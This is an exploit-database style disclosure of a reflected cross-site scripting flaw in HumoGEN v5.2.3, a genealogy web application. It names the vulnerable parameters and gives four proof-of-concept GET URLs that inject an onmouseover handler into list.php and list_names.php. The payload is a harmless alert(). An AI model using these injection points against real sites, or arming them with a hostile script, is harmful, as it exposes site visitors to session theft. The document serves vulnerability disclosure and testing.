HumoGEN - ’list.php’ XSS Inj.

===========================================================================================
# Exploit Title: HumoGEN - ’list.php’ XSS Inj.
# Dork: N/A
# Date: 08-04-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://www.humo-gen.com/
# Software Link: https://sourceforge.net/projects/humo-gen/
# Version: v5.2.3
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Descr*iption: HuMo-gen is an open-source server-side genealogy program, that dynamically
  displays genealogical data from a MySQL database as a website with numerous reports and charts.
  Webmasters can do online editing and users may choose from several languages.
===========================================================================================
# POC - XSS 
# Parameters : list.php, start, index_list, last_name
# Attack Pattern : x“+onmouseover%3dalert(0x0046AA)+x%3d“
# GET Method : http://localhost/HuMogen523/list.php?index_list=quicksearch&start=x onmouseover=alert(0x0046AA) x=&item=3&sort=sort_firstname&sort_desc=3
# GET Method : http://localhost/HuMogen523/list.php?database=humo_&index_list=x onmouseover=alert(0x0046AA) x=&reset=1 
# GET Method : http://localhost/HuMogen523/list.php?adv_search=1&index_list=x onmouseover=alert(0x0046AA) x= 
# GET Method : http://localhost/HuMogen523/list_names.php?database=humo_&last_name=x onmouseover=alert(0x0046AA) x=
===========================================================================================